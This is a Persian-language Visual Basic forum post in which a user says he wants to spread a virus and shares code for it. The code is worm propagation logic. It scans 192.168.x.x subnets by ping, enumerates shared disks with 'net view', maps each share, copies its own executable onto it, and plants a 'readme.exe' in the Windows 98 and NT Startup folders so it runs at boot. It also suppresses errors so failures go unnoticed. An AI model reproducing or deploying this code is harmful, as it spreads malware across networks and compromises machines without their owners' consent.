امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
منتقل کردن فایل از پی سی معمولی به سرور
نویسنده پیام
Scorpion آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 882
موضوع‌ها: 44
تاریخ عضویت: خرداد ۱۳۸۵

تشکرها : 958
( 1525 تشکر در 501 ارسال )
ارسال: #3
RE: منتقل کردن فایل از پی سی معمولی به سرور
من هم دنبالشم برای تکثیر ویروس
یچیزی بعد 3 ساعت گشتن پیدا کردم ببینید بدرد میخوره ؟


----------
()Private Sub map_drive


         On Error Resume Next
         Dim buff
         Dim combuff
         Dim buffadd
         Dim fso, folder
         Dim r
         Dim s
         Dim add
         Dim sharename
         Dim pingbuff, buff2
         Dim count
         Dim a As String
         Dim hm
         hm = 1
         a = """"
         Set fso = CreateObject("scripting.filesystemobject")
         Set oshell = CreateObject("WScript.Shell")
         For r = ipbuff To ipbuff2
         s = 1
         add = "192.168." & r & "." & s
         oshell.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
         Set fsoo = CreateObject("scripting.filesystemobject")
         Set rdd = fsoo.opentextfile("C:\plog.tmp")
         pingbuff = ""
         For i = 0 To 3
         pingbuff = rdd.readline
         Next i
         buff2 = InStr(pingbuff, "TTL=")
         If buff2 <> "0" Or ipbuff = ipbuff2 Then 'connect suc
         For s = 1 To 255
         add = "192.168." & r & "." & s
         Set oshell_1 = CreateObject("WScript.Shell")
         oshell_1.run "%comspec% /C ping -n 1 " & add & " > C:\plog.tmp", 0, True
         Set oshell_1 = Nothing
         Set fsoo = CreateObject("scripting.filesystemobject")
         Set rdd = fsoo.opentextfile("C:\plog.tmp")
         pingbuff = ""
         For i = 0 To 3
         pingbuff = rdd.readline
         Next i
         buff2 = InStr(pingbuff, "TTL=")
         If buff2 <> "0" Then 'connect suc
         Set oshell_2 = CreateObject("WScript.Shell")
         oshell_2.run "%comspec% /C net view \\" & add & " > C:\clog.tmp", 0, True
         Set oshell_2 = Nothing
         Set fso = CreateObject("scripting.filesystemobject")
         Set rd = fso.opentextfile("C:\clog.tmp")
         buff = ""
         Do While rd.AtEndOfStream <> True
         buff = rd.readline
         combuff = Right(Trim(buff), 4)
         If Right(combuff, 4) = "Disk" Then
         buffadd = Left(buff, 13)
         If Len(Trim(buffadd)) > 0 Then
         sharename = a & "\\" & add & "\" & Trim(buffadd) & a
         vadd = add
         vshare = buffadd
         Set oshell_3 = CreateObject("WScript.Shell")
         oshell_3.run "net use K:" & " " & sharename, vbHide
         Set oshell_3 = Nothing
         Call getname
         test = 0
         FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\" & appl & ".exe"
         test = Err.Number
         If test >= 1 Then
         'w
         Else
         Call log
         End If
         FileCopy App.Path & "\" & App.EXEName & ".exe",
   "K:\WINDOWS\Start Menu\Programs\StartUp\readme.exe"
         If Err.Number > 0 Then
         'w
         Else
         vshare = "startup98"
         Call log
         End If
         FileCopy App.Path & "\" & App.EXEName & ".exe",
    "K:\Documents and Settings\Administrator\Start
     Menu\Programs\StartUp\readme.exe"
         If Err.Number > 0 Then
         'w
         Else
         vshare = "startupNT"
         Call log
         End If
         dummy = GetAttr("K:")
         If dummy = 0 Then
         End If
         Set dshell = CreateObject("WScript.Shell")
         dshell.run "net use K: /delete ", vbHide
         Set dshell = Nothing
         End If
         End If
         Loop
         End If
         Next s
         End If
         Next r
         Set fso = Nothing
         Set fsoo = Nothing
         Set oshell = Nothing


End Sub

گر نیک و بد نزد خدا یکسان بدی در ابتلا --با جبرئیل ماه رو ابلیس هم سیماستی
۲۵-دى-۱۳۸۵, ۱۶:۱۹:۳۴
وب سایت ارسال‌ها
پاسخ


پیام‌های داخل این موضوع
RE: منتقل کردن فایل از پی سی معمولی به سرور - توسط Scorpion - ۲۵-دى-۱۳۸۵, ۱۶:۱۹:۳۴

موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
Shy [فوری] خواندن فایل تکست و تبدیل آن به فایل اکسل توسط CommandButton ahmadelectron 1 3,530 ۰۵-خرداد-۱۳۹۴, ۱۶:۵۲:۲۷
آخرین ارسال: Ghoghnus
  پیدا کردن فایل ها با پسوند خاص و کپی آن ها در یک فولدر ppcsoft 5 8,156 ۰۹-بهمن-۱۳۹۱, ۱۹:۳۷:۲۶
آخرین ارسال: fararaz
  پیدا کردن یک فایل در کامپیوتر با ویژوال بیسیک silent718 11 11,632 ۱۱-مهر-۱۳۹۱, ۰۸:۱۰:۵۲
آخرین ارسال: loack
Question [سوال] ارتباط با سرور Voice یاهو W-I-L-S-O-N 0 2,521 ۰۵-شهریور-۱۳۹۱, ۱۴:۰۲:۳۶
آخرین ارسال: W-I-L-S-O-N
  ایجاد فایل فوق مخفی از فایل اجرایی برناممون RAMA2009 1 4,326 ۰۸-اردیبهشت-۱۳۹۱, ۱۰:۲۶:۱۷
آخرین ارسال: Ghoghnus
  اتوران کردن فایل ها در فلش مموری download69 10 28,308 ۲۷-فروردین-۱۳۹۱, ۲۰:۳۸:۲۷
آخرین ارسال: iman2025
  برنامه کلاینت سرور و مشاهده تصویر با دوربین (وبکم) goldpower 0 2,686 ۱۶-اسفند-۱۳۹۰, ۱۴:۱۴:۳۰
آخرین ارسال: goldpower
  bind کردن برنامه vb با یه فایل دیگه RAMA2009 22 10,587 ۱۱-بهمن-۱۳۹۰, ۱۲:۱۳:۳۲
آخرین ارسال: Payman62
  پاک کردن یه فایل از رجستری _soda_ 7 6,930 ۲۸-دى-۱۳۹۰, ۱۱:۲۴:۲۸
آخرین ارسال: Payman62
  replace کردن یا delete کردن فایل سیستمی ویندوز ppcsoft 6 5,903 ۱۳-آذر-۱۳۹۰, ۲۲:۰۵:۰۶
آخرین ارسال: ppcsoft

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع:

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS